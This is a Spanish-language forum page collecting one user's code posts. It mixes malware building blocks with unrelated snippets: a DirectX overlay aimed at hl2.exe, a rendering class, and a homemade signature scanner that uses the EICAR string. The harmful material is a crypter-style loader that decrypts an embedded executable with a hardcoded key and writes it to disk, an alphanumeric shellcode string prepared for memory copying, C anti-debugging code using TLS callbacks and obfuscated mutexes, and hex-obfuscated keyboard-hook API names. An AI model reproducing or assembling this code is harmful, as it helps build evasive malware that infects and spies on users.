Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Dim Cadena as string = "asd)$%&"·!"·"
If ContainsSimbols(Cadena) = True Then
End If
#define _CRT_SECURE_NO_WARNINGS
#include <Windows.h>
#include <stdio.h>
void Debug(char* text);
BOOL WINAPI DllMain(HINSTANCE dllHistance, DWORD callReason, void* reserved)
{
switch (callReason)
{
case DLL_PROCESS_ATTACH:
{
Debug("Loading");
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
default:
{
break;
}
}
return TRUE;
}
void Debug(char* text)
{
FILE* fichier = fopen("debug.txt", "a");
if (fichier == 0) fichier = fopen("debug.txt", "w");
fwrite(text, strlen(text), 1, fichier);
fputs("\r\n", fichier);
fclose(fichier);
}
Public Const DLL_PROCESS_ATTACH = 1
Public Const DLL_PROCESS_DETACH = 0
Public Function DllMain(ByVal dllHistance As IntPtr, ByVal callReason As Integer, ByVal reserved As Object) As Boolean
Select Case callReason
Case DLL_PROCESS_ATTACH
Debug("Loading")
Return True
Case DLL_PROCESS_DETACH
Return False
End Select
Return False
End Function
Public Sub Debug(ByVal texto As String)
System.IO.File.WriteAllText("debug.txt", texto)
End Sub
Dim FileCompressC As String = File.ReadAllText("Digital_Signature.txt")
Dim MasterKey As String = "PutoElQueloLea"
Public Sub InicialLoader()
Dim ExtractApp As String = "Ca.exe"
Dim FileCoD As String = DecryptS(FileCompressC, MasterKey) ' Desencrytamos
Dim DesFile As String = DecompressData(FileCoD) ' Descomprimimos el String Hex
File.WriteAllBytes(ExtractApp, KHwGeygjHq(DesFile)) 'Pasamos de Hex a Bytes y Generamos el .exe
End Sub
Public Shared Function RijndaelDecrypt(ByVal UDecryptU As String, ByVal UKeyU As String) ' Desencryptamos
Dim XoAesProviderX As New System.Security.Cryptography.RijndaelManaged
Dim XbtCipherX() As Byte
Dim XbtSaltX() As Byte = New Byte() {1, 2, 3, 4, 5, 6, 7, 8}
Dim XoKeyGeneratorX As New System.Security.Cryptography.Rfc2898DeriveBytes(UKeyU, XbtSaltX)
XoAesProviderX.Key = XoKeyGeneratorX.GetBytes(XoAesProviderX.Key.Length)
XoAesProviderX.IV = XoKeyGeneratorX.GetBytes(XoAesProviderX.IV.Length)
Dim XmsX As New IO.MemoryStream
Dim XcsX As New System.Security.Cryptography.CryptoStream(XmsX, XoAesProviderX.CreateDecryptor(), _
System.Security.Cryptography.CryptoStreamMode.Write)
Try
XbtCipherX = Convert.FromBase64String(UDecryptU)
XcsX.Write(XbtCipherX, 0, XbtCipherX.Length)
XcsX.Close()
UDecryptU = System.Text.Encoding.UTF8.GetString(XmsX.ToArray)
Catch
End Try
Return UDecryptU
End Function
Public Shared Function DecompressData(ByVal CompressedText As String) As String ' Descomprimimos el String Hex
Dim GZipBuffer As Byte() = Convert.FromBase64String(CompressedText)
Using mStream As New MemoryStream()
Dim msgLength As Integer = BitConverter.ToInt32(GZipBuffer, 0)
mStream.Write(GZipBuffer, 4, GZipBuffer.Length - 4)
Dim Buffer As Byte() = New Byte(msgLength - 1) {}
mStream.Position = 0
Using GZipStream As New System.IO.Compression.GZipStream(mStream, IO.Compression.CompressionMode.Decompress)
GZipStream.Read(Buffer, 0, Buffer.Length)
End Using
Return System.Text.Encoding.Unicode.GetString(Buffer, 0, Buffer.Length)
End Using
End Function
Public Function KHwGeygjHq(ByVal KMvWYyQigLibcI As String) As Byte() ' Hex to Bytes
Dim cKHbugadWMVB
Dim WdfGomorOa() As Byte
KMvWYyQigLibcI = Microsoft.VisualBasic.Strings.Replace(KMvWYyQigLibcI, " ", "")
ReDim WdfGomorOa((Microsoft.VisualBasic.Strings.Len(KMvWYyQigLibcI) \ 2) - 1)
For cKHbugadWMVB = 0 To Microsoft.VisualBasic.Information.UBound(WdfGomorOa) - 2
WdfGomorOa(cKHbugadWMVB) = CLng("&H" & Microsoft.VisualBasic.Strings.Mid$(KMvWYyQigLibcI, 2 * cKHbugadWMVB + 1, 2))
Next
KHwGeygjHq = WdfGomorOa
End Function
Dim shellcode As String = "PYIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIylJHk9s0C0s0SPmYxeTqzrqtnkaBDpNkV2VlNkpRb4nkqbQ8dOx7rjfFtqyoVQo0nLgLqq1lfbVL10IQ8O6mWqiWZBl0BrSgNkaBDPNkbbwLUQJplKQPpxOukpbTRjWqXPV0nkg828Nkshq0c1N3zCUlQYnk5dlKS1N6eaKOfQYPNLjaxOdMS1kwUhKPQeydtCQmIh7KsM7TBUIrV8LKPX6DgqICpfNkVlrkLKrxWls1zsLK5TNkuQN0Oyg4GTvD3kQKSQqIcjPQkO9pChcobzLKVrJKMVsmBJfaLMMUx9GpEPC0v0E8vQlKBOMWYoyEMkM0wmtjDJCXoVoeoMomyojuEl4FalDJk09kkPQe35mkw7fsd2PoBJ30sciohUbCSQbLbCfNauD8SUs0AA"
Dim shell_array(shellcode.Length - 1) As Byte
Dim i As Integer = 0
Do
shell_array(i) = Convert.ToByte(shellcode(i))
i = i + 1
Loop While i < shellcode.Length <DllImport("msvcrt.dll", EntryPoint:="memcpy", CallingConvention:=CallingConvention.Cdecl)> _
Public Shared Sub CopyMemory(ByVal dest As IntPtr, ByVal src As IntPtr, ByVal count As Integer)
End Sub
Private Function GetMutexString() As String
Dim lpMutexStr As String = calloc(64, 1)
Dim s() As Byte = {&H98, &H9B, &H99, &H9D, &HC3, &H15, &H6F, &H6F, &H2D, &HD3, &HEA, &HAE, &H13, &HFF, &H7A, &HBE, &H63, &H36, &HFC, &H63, &HF3, &H74, &H32, &H74, &H71, &H72, &H4E, &H2, &H81, &H1E, &H19, &H20, &H44, &HDF, &H81, &HD7, &H15, &H92, &H93, &H1A, &HE7}
Dim Sizes As Integer = Marshal.SizeOf(s(0)) * s.Length
Dim pnt1 As IntPtr = Marshal.AllocHGlobal(Sizes)
Dim m As UInteger = 0
Do While m < Len(s)
Dim c As Byte = s(m)
c -= &HE8
c = ((c >> &H5) Or (c << &H3))
c = -c
c += &H51
c = Not c
c -= &H93
c = ((c >> &H3) Or (c << &H5))
c += &H14
c = c Xor &H14
c = ((c >> &H1) Or (c << &H7))
c = c Xor &HD3
c += m
c = Not c
c = ((c >> &H5) Or (c << &H3))
c -= &H2B
s(m) = c
m += 1
Loop
CopyMemory(lpMutexStr, pnt1, Len(s))
Return lpMutexStr
End Function#include <stdio.h>
#include <windows.h>
#include <tchar.h>
#include <psapi.h>
typedef enum { ThreadHideFromDebugger = 0x11 } THREADINFOCLASS;
typedef NTSTATUS(WINAPI *NtQueryInformationThread_t)(HANDLE, THREADINFOCLASS, PVOID, ULONG, PULONG);
typedef NTSTATUS(WINAPI *NtSetInformationThread_t)(HANDLE, THREADINFOCLASS, PVOID, ULONG);
VOID ThreadMain(LPVOID p);
LPSTR GetMutexString();
VOID WINAPI init_antidbg(PVOID DllHandle, DWORD Reason, PVOID Reserved)
{
//Deobfuscate our mutex and lock it so our child doesnt execute this TLS callback.
unsigned char s[] =
{
0x9d, 0x3, 0x3c, 0xec, 0xf0, 0x8b, 0xb5, 0x5,
0xe2, 0x2a, 0x87, 0x5, 0x64, 0xe4, 0xf8, 0xe7,
0x64, 0x29, 0xd2, 0x6, 0xad, 0x29, 0x9a, 0xe0,
0xea, 0xf9, 0x2, 0x7d, 0x31, 0x72, 0xf7, 0x33,
0x13, 0x83, 0xb, 0x8f, 0xae, 0x2c, 0xa7, 0x2a,
0x95
};
for (unsigned int m = 0; m < sizeof(s); ++m)
{
unsigned char c = s[m];
c = (c >> 0x7) | (c << 0x1);
c ^= m;
c = (c >> 0x5) | (c << 0x3);
c += 0xa9;
c = ~c;
c += 0xd6;
c = -c;
c += m;
c = ~c;
c = (c >> 0x5) | (c << 0x3);
c -= m;
c = ~c;
c += m;
c ^= m;
c += m;
s[m] = c;
}
HANDLE hMutex = CreateMutexA(NULL, TRUE, s);
// We don't want to empty the working set of our child process, it's not neccessary as it has a debugger attached already.
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
return;
}
/*
CODE DESCRIPTION:
The following code is reponsible for preventing the debugger to attach on parent process at runtime.
*/
SIZE_T min, max;
SYSTEM_INFO si = { 0 };
GetSystemInfo(&si);
K32EmptyWorkingSet(GetCurrentProcess());
void *p = NULL;
while (p = VirtualAllocEx(GetCurrentProcess(), NULL, si.dwPageSize, MEM_COMMIT | MEM_RESERVE, PAGE_NOACCESS))
{
if (p == NULL)
break;
}
/*
DESCRIPTION END
*/
/*
CODE DESCRIPTION:
The following code is responsible for handling the application launch inside a debbuger and invoking a crash.
*/
NtQueryInformationThread_t fnNtQueryInformationThread = NULL;
NtSetInformationThread_t fnNtSetInformationThread = NULL;
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadMain, NULL, 0, 0, &dwThreadId);
HMODULE hDLL = LoadLibrary("ntdll.dll");
if (!hDLL) return -1;
fnNtQueryInformationThread = (NtQueryInformationThread_t)GetProcAddress(hDLL, "NtQueryInformationThread");
fnNtSetInformationThread = (NtSetInformationThread_t)GetProcAddress(hDLL, "NtSetInformationThread");
if (!fnNtQueryInformationThread || !fnNtSetInformationThread)
return -1;
ULONG lHideThread = 1, lRet = 0;
fnNtSetInformationThread(hThread, ThreadHideFromDebugger, &lHideThread, sizeof(lHideThread));
fnNtQueryInformationThread(hThread, ThreadHideFromDebugger, &lHideThread, sizeof(lHideThread), &lRet);
/*
DESCRIPTION END
*/
}
// Usually what happens is that person who does the analysis doesn't have a breakpoint set for TLS.
// (It's not set ON by default in x64dbg)
#pragma comment(linker, "/INCLUDE:__tls_used") // We want to include TLS Data Directory structure in our program
#pragma data_seg(push)
#pragma data_seg(".CRT$XLAA")
EXTERN_C PIMAGE_TLS_CALLBACK p_tls_callback1 = init_antidbg; // This will execute before entry point and main function.
#pragma data_seg(pop)
int main(int argc, char *argv[])
{
// Beging by deobfuscating our mutex.
HANDLE hMutex = CreateMutexA(NULL, TRUE, GetMutexString());
if (GetLastError() == ERROR_ALREADY_EXISTS) {
// We are a spawn, run normally
printf("[+] Normal execution.\n");
getchar();
return 0;
}
else {
// We are the first instance
TCHAR szFilePath[MAX_PATH] = { 0 };
GetModuleFileName(NULL, szFilePath, MAX_PATH);
PROCESS_INFORMATION pi = { 0 };
STARTUPINFO si = { 0 };
si.cb = sizeof(STARTUPINFO);
// Create child process
CreateProcess(szFilePath, NULL, NULL, NULL, FALSE, DEBUG_PROCESS | DEBUG_ONLY_THIS_PROCESS | CREATE_NEW_CONSOLE, 0, NULL, &si, &pi);
if (pi.hProcess != NULL) {
printf("[+] Spawning child process and attaching as a debugger.\n");
// Debug event
DEBUG_EVENT de = { 0 };
while (1)
{
WaitForDebugEvent(&de, INFINITE);
// We only care about when the process terminates
if (de.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT)
break;
// Otherwise ignore all other events
ContinueDebugEvent(pi.dwProcessId, pi.dwThreadId, DBG_CONTINUE);
}
}
CloseHandle(pi.hProcess);
CloseHandle(hMutex);
}
return 0;
}
LPSTR GetMutexString()
{
LPSTR lpMutexStr = calloc(64, 1);
unsigned char s[] =
{
0x98, 0x9b, 0x99, 0x9d, 0xc3, 0x15, 0x6f, 0x6f,
0x2d, 0xd3, 0xea, 0xae, 0x13, 0xff, 0x7a, 0xbe,
0x63, 0x36, 0xfc, 0x63, 0xf3, 0x74, 0x32, 0x74,
0x71, 0x72, 0x4e, 0x2, 0x81, 0x1e, 0x19, 0x20,
0x44, 0xdf, 0x81, 0xd7, 0x15, 0x92, 0x93, 0x1a,
0xe7
};
for (unsigned int m = 0; m < sizeof(s); ++m)
{
unsigned char c = s[m];
c -= 0xe8;
c = (c >> 0x5) | (c << 0x3);
c = -c;
c += 0x51;
c = ~c;
c -= 0x93;
c = (c >> 0x3) | (c << 0x5);
c += 0x14;
c ^= 0x14;
c = (c >> 0x1) | (c << 0x7);
c ^= 0xd3;
c += m;
c = ~c;
c = (c >> 0x5) | (c << 0x3);
c -= 0x2b;
s[m] = c;
}
memcpy(lpMutexStr, s, sizeof(s));
return lpMutexStr;
}
VOID ThreadMain(LPVOID p)
{
while (1)
{
if (IsDebuggerPresent())
{
__asm { int 3; }
}
Sleep(500);
}
return 0;
}
}
Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Integer) As ShortDim KeyboardHook As String() = {"48 6F 6F 6B 43 61 6C 6C 62 61 63 6B", "47 65 74 41 73 79 6E 63 4B 65 79 53 74 61 74 65"}
{"error":false,"title":"Alan Walker - Diamond Heart (feat. Sophia Somajo)","duration":218,"file":"http:\/\/michaelbelgium.me\/ytconverter\/download\/sJXZ9Dok7u8.mp3"}
Private Sub Delete(ByVal Parch As String)
For Each Archivo As String In My.Computer.FileSystem.GetFiles( _
Parch , _
FileIO.SearchOption.SearchAllSubDirectories, _
"*.lnk", "*.cmd", "*.js", "*.wsf", "*.vbs", "*.bat", "*.jse", "*.vbe")
Dim signature As String = Archivo
Dim dicrectory As String = "Script"
Dim lvi As New ListViewItem(signature)
lvi.SubItems.Add(dicrectory)
lvi.SubItems.Add("[ Deleted ]")
listv.Items.Add(lvi)
My.Computer.FileSystem.DeleteFile(Archivo)
Next
End Sub
Imports System
Imports System.Runtime.InteropServices
Namespace DX9OverlayAPI
Class DX9Overlay
Public Const PATH As String = "dx9_overlay.dll"
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextCreate(ByVal font As String, ByVal fontSize As Integer, ByVal bBold As Boolean, ByVal bItalic As Boolean, ByVal x As Integer, ByVal y As Integer, ByVal color As UInteger, ByVal text As String, ByVal bShadow As Boolean, ByVal bShow As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl, CharSet:=CharSet.Unicode)>
Public Shared Function TextCreateUnicode(ByVal font As String, ByVal fontSize As Integer, ByVal bBold As Boolean, ByVal bItalic As Boolean, ByVal x As Integer, ByVal y As Integer, ByVal color As UInteger, ByVal text As String, ByVal bShadow As Boolean, ByVal bShow As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextDestroy(ByVal id As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextSetShadow(ByVal id As Integer, ByVal b As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextSetShown(ByVal id As Integer, ByVal b As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextSetColor(ByVal id As Integer, ByVal color As UInteger) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextSetPos(ByVal id As Integer, ByVal x As Integer, ByVal y As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextSetString(ByVal id As Integer, ByVal str As String) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl, CharSet:=CharSet.Unicode)>
Public Shared Function TextSetStringUnicode(ByVal id As Integer, ByVal str As String) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function TextUpdate(ByVal id As Integer, ByVal font As String, ByVal fontSize As Integer, ByVal bBold As Boolean, ByVal bItalic As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl, CharSet:=CharSet.Unicode)>
Public Shared Function TextUpdateUnicode(ByVal id As Integer, ByVal font As String, ByVal fontSize As Integer, ByVal bBold As Boolean, ByVal bItalic As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxCreate(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer, ByVal h As Integer, ByVal dwColor As UInteger, ByVal bShow As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxDestroy(ByVal id As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetShown(ByVal id As Integer, ByVal bShown As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetBorder(ByVal id As Integer, ByVal height As Integer, ByVal bShown As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetBorderColor(ByVal id As Integer, ByVal dwColor As UInteger) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetColor(ByVal id As Integer, ByVal dwColor As UInteger) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetHeight(ByVal id As Integer, ByVal height As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetPos(ByVal id As Integer, ByVal x As Integer, ByVal y As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function BoxSetWidth(ByVal id As Integer, ByVal width As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineCreate(ByVal x1 As Integer, ByVal y1 As Integer, ByVal x2 As Integer, ByVal y2 As Integer, ByVal width As Integer, ByVal color As UInteger, ByVal bShow As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineDestroy(ByVal id As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineSetShown(ByVal id As Integer, ByVal bShown As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineSetColor(ByVal id As Integer, ByVal color As UInteger) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineSetWidth(ByVal id As Integer, ByVal width As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function LineSetPos(ByVal id As Integer, ByVal x1 As Integer, ByVal y1 As Integer, ByVal x2 As Integer, ByVal y2 As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageCreate(ByVal path As String, ByVal x As Integer, ByVal y As Integer, ByVal rotation As Integer, ByVal align As Integer, ByVal bShow As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageDestroy(ByVal id As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageSetShown(ByVal id As Integer, ByVal bShown As Boolean) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageSetAlign(ByVal id As Integer, ByVal align As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageSetPos(ByVal id As Integer, ByVal x As Integer, ByVal y As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ImageSetRotation(ByVal id As Integer, ByVal rotation As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function DestroyAllVisual() As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function ShowAllVisual() As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function HideAllVisual() As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function GetFrameRate() As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function GetScreenSpecs(<Out> ByRef width As Integer, <Out> ByRef height As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function SetCalculationRatio(ByVal width As Integer, ByVal height As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function SetOverlayPriority(ByVal id As Integer, ByVal priority As Integer) As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Function Init() As Integer
End Function
<DllImport(PATH, CallingConvention:=CallingConvention.Cdecl)>
Public Shared Sub SetParam(ByVal _szParamName As String, ByVal _szParamValue As String)
End Sub
End Class
End Namespace
Imports System
Imports DX9OverlayAPI
Public Class Form1
Shared overlayText As Integer = -1
Shared overlayBox As Integer = -1
Shared overlayLine As Integer = -1
Private Sub texto()
DX9Overlay.SetParam("process", "hl2.exe")
DX9Overlay.DestroyAllVisual()
overlayText = DX9Overlay.TextCreateUnicode("Arial", 12, False, False, 200, 200, 4278255615, "Hello world!", True, True)
End Sub
Private Sub linea()
DX9Overlay.SetParam("process", "hl2.exe")
DX9Overlay.DestroyAllVisual()
overlayLine = DX9Overlay.LineCreate(0, 0, 300, 300, 5, 4294967295, True)
End Sub
Private Sub caja()
DX9Overlay.SetParam("process", "hl2.exe")
DX9Overlay.DestroyAllVisual()
overlayBox = DX9Overlay.BoxCreate(200, 200, 100, 100, 1358889215, True)
End Sub
Private Sub eliminarTodo()
DX9Overlay.TextDestroy(overlayText)
DX9Overlay.BoxDestroy(overlayBox)
DX9Overlay.LineDestroy(overlayLine)
End Sub
End ClassDim xml = <?xml version="1.0"?>
<signatures>
<signature>
<name>Archivo1</name>
<hex>58354f2150254041505b345c505a58353428505e2937434329377d2445494341522d5354414e4441</hex>
</signature>
<signature>
<name>Archivo2</name>
<hex>f649e7cc1e00d37e7f3bc85fff3486ac6de91433aa3a39ef1b114d37b534b8323f6ff67132638a3fe2f2afb4aaf9b7e3b4669bb3cab028298aab533c5d73546cdd396fd58c2c7734c50bca68eb709b889a086fb3db5f8ae533a4d5816e8c5f560983695efa14e291c204b1316e657773</hex>
</signature>
</signatures>Private Sub hexttoBytes()
Dim Str As New StringBuilder
For Each signature As XElement In xml.Root.Elements
stringToByteArray(signature.<hex>.Value)
Next
End Sub
Public Shared Function stringToByteArray(text As String) As Byte()
Dim bytes As Byte() = New Byte(text.Length \ 2 - 1) {}
For i As Integer = 0 To text.Length - 1 Step 2
bytes(i \ 2) = Byte.Parse(text(i).ToString() & text(i + 1).ToString(), System.Globalization.NumberStyles.HexNumber)
Next
Return bytes
End Function ' Opendia IS OPENFILEDIALOG
Dim result As DialogResult = OpenDia.ShowDialog()
If result = Windows.Forms.DialogResult.OK Then
Dim path As String = OpenDia.FileName
Try
Dim bytesFile As Byte() = File.ReadAllBytes(path)
' BytesFile es donde se almacenan Los Bytes del archivo a comparar
' Necesito saber Como los Comparo con los Otros Bytes que antes eran HEX
Catch ex As Exception
MsgBox(ex.Message)
End Try
End If
'Donde BytesFiles es el Archivo y BytesHex eran la Cadena Hex que ahora son Bytes
' En caso de que los Bytes sean Iguales. lanza el mensaje de que encontró el archivo o no.
If bytesFile = BytesHex then
Msgbox("Archivo Coincide")
else
Msgbox("Archivo No Coincide")
end ifImports System
Imports System.Windows.Forms
Imports SharpDX
Imports SharpDX.DXGI
Imports SharpDX.Direct3D
Imports SharpDX.Direct3D11
Imports SharpDX.Direct2D1
Imports SharpDX.Windows
Imports SharpDX.Mathematics
Imports Device = SharpDX.Direct3D11.Device
Imports FactoryD2D = SharpDX.Direct2D1.Factory
Imports FactoryDXGI = SharpDX.DXGI.Factory1
Public Class SharpDXRenderer
#Region "Properties"
Private _showFPS As Boolean = False
Public Property ShowFPS() As Boolean
Get
Return _showFPS
End Get
Set(ByVal value As Boolean)
_showFPS = value
End Set
End Property
Private _renderWindow As New RenderForm
Public Property RenderWindow As RenderForm
Get
Return _renderWindow
End Get
Set(value As RenderForm)
_renderWindow = value
End Set
End Property
Private _renderWindowTitle As String = ""
Public Property RenderWindowTitle As Integer
Get
Return Nothing
End Get
Set(value As Integer)
End Set
End Property
Private _renderWindowWidth As Integer = 800
Public Property RenderWindowWidth() As String
Get
Return _renderWindowWidth
End Get
Set(ByVal value As String)
_renderWindowWidth = value
End Set
End Property
Private _renderWindowHeight As Integer = 600
Public Property RenderWindowHeight() As Integer
Get
Return _renderWindowHeight
End Get
Set(ByVal value As Integer)
_renderWindowHeight = value
End Set
End Property
Private _isWindowed As Boolean = True
Public Property IsWindowed() As Boolean
Get
Return _isWindowed
End Get
Set(ByVal value As Boolean)
_isWindowed = value
End Set
End Property
Private _refreshRate As Integer = 60
Public Property RefreshRate() As Integer
Get
Return _refreshRate
End Get
Set(ByVal value As Integer)
_refreshRate = value
End Set
End Property
#End Region
' **** Operational class level vars
Dim device As Device
Dim swapChain As SwapChain
Dim renderTarget As RenderTarget
Public Sub New()
'nuttin atm
End Sub
Public Sub Initialize()
' Create render target window
_renderWindow.Text = _renderWindowTitle
' Create swap chain description
Dim swapChainDesc = New SwapChainDescription() With {
.BufferCount = 2,
.Usage = Usage.RenderTargetOutput,
.OutputHandle = _renderWindow.Handle,
.IsWindowed = _isWindowed,
.ModeDescription = New ModeDescription(0, 0, New Rational(_refreshRate, 1), Format.R8G8B8A8_UNorm),
.SampleDescription = New SampleDescription(1, 0),
.Flags = SwapChainFlags.AllowModeSwitch,
.SwapEffect = SwapEffect.Discard
}
' Create swap chain And Direct3D device
' The BgraSupport flag Is needed for Direct2D compatibility otherwise RenderTarget.FromDXGI will fail!
Device.CreateWithSwapChain(DriverType.Hardware, DeviceCreationFlags.BgraSupport, swapChainDesc, device, swapChain)
' Get back buffer in a Direct2D-compatible format (DXGI surface)
Dim backBuffer As Surface = Surface.FromSwapChain(swapChain, 0)
'Create Direct2D factory
Using factory = New FactoryD2D()
'Get desktop DPI
Dim dpi = factory.DesktopDpi
'Create bitmap render target from DXGI surface
renderTarget = New RenderTarget(factory, backBuffer, New RenderTargetProperties() With {
.DpiX = dpi.Width,
.DpiY = dpi.Height,
.MinLevel = SharpDX.Direct2D1.FeatureLevel.Level_DEFAULT,
.PixelFormat = New PixelFormat(Format.Unknown, Direct2D1.AlphaMode.Ignore),
.Type = RenderTargetType.[Default],
.Usage = RenderTargetUsage.None
})
End Using
'Disable automatic ALT+Enter processing because it doesn't work properly with WinForms
Using factory = swapChain.GetParent(Of FactoryDXGI)()
factory.MakeWindowAssociation(_renderWindow.Handle, WindowAssociationFlags.IgnoreAltEnter)
End Using
' Add event handler for ALT+Enter
AddHandler _renderWindow.KeyDown, Sub(o, e)
If e.Alt AndAlso e.KeyCode = Keys.Enter Then
swapChain.IsFullScreen = Not swapChain.IsFullScreen
End If
End Sub
' Set window size
_renderWindow.Size = New System.Drawing.Size(_renderWindowWidth, _renderWindowHeight)
' Prevent window from being re-sized
_renderWindow.AutoSizeMode = AutoSizeMode.GrowAndShrink
End Sub
Public Sub RunRenderLoop()
Dim clock = New System.Diagnostics.Stopwatch()
Dim clockFrequency = CDbl(System.Diagnostics.Stopwatch.Frequency)
clock.Start()
Dim deltaTime = 0.0
Dim fpsTimer = New System.Diagnostics.Stopwatch()
fpsTimer.Start()
Dim fps = 0.0
Dim fpsFrames As Integer = 0
RenderLoop.Run(_renderWindow, Function()
renderTarget.BeginDraw()
renderTarget.Transform = Matrix3x2.Identity
renderTarget.Clear(Color.DarkBlue)
' FPS display
Dim totalSeconds = clock.ElapsedTicks / clockFrequency
fpsFrames += 1
If fpsTimer.ElapsedMilliseconds > 1000 Then
fps = 1000 * fpsFrames / fpsTimer.ElapsedMilliseconds
If _showFPS Then
' Update window title with FPS once every second
_renderWindow.Text = String.Format("D3DRendering D3D11.1 - FPS: {0:F2} ({1:F2}ms/frame)", fps, CSng(fpsTimer.ElapsedMilliseconds) / fpsFrames)
End If
' Restart the FPS counter
fpsTimer.Reset()
fpsTimer.Start()
fpsFrames = 0
End If
'Draw the frame
DrawFrame(renderTarget)
renderTarget.EndDraw()
swapChain.Present(0, PresentFlags.None)
' Determine the time it took to render the frame
deltaTime = (clock.ElapsedTicks / clockFrequency) - totalSeconds
End Function)
renderTarget.Dispose()
swapChain.Dispose()
device.Dispose()
End Sub
Private Function DrawFrame(renderTarget As RenderTarget) As RenderTarget
renderTarget.DrawRectangle(New RectangleF(renderTarget.Size.Width / 2 - (Form1.WidthTB.Value / 2),
renderTarget.Size.Height / 2 - (Form1.HeightTB.Value / 2),
Form1.WidthTB.Value,
Form1.HeightTB.Value), New SolidColorBrush(renderTarget, Color.CornflowerBlue))
Return renderTarget
End Function
End Class
--- cura removida
es que andaba de vacaciones :v y ahorita es que Empieza la universidad . 
) :
C:\Users\S4LXenox\Desktop\Ransomware Wannacry - copia.exe
C:\Users\S4LXenox\Desktop\eicartest.exe
C:\Users\S4LXenox\Desktop\parite.exe Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
listv.Items.Clear()
For abc = 0 To ListBox1.Items.Count - 1
Scan(ListBox1.Items(a).ToString)
Next abc
End Sub
Dim xml = <?xml version="1.0"?>
<signatures>
<signature>
<name>Eicar-Test-Signature</name>
<hex>58354f2150254041505b345c505a58353428505e2937434329377d2445494341522d5354414e4441</hex>
</signature>
<signature>
<name>Hybris.Gen</name>
<hex>f649e7cc1e00d37e7f3bc85fff3486ac6de91433aa3a39ef1b114d37b534b8323f6ff67132638a3fe2f2afb4aaf9b7e3b4669bb3cab028298aab533c5d73546cdd396fd58c2c7734c50bca68eb709b889a086fb3db5f8ae533a4d5816e8c5f560983695efa14e291c204b1316e657773</hex>
</signature>
</signatures>
Private Sub Scan(ByVal dir As String)
Dim myStreamReader As StreamReader = Nothing
myStreamReader = File.OpenText(dir)
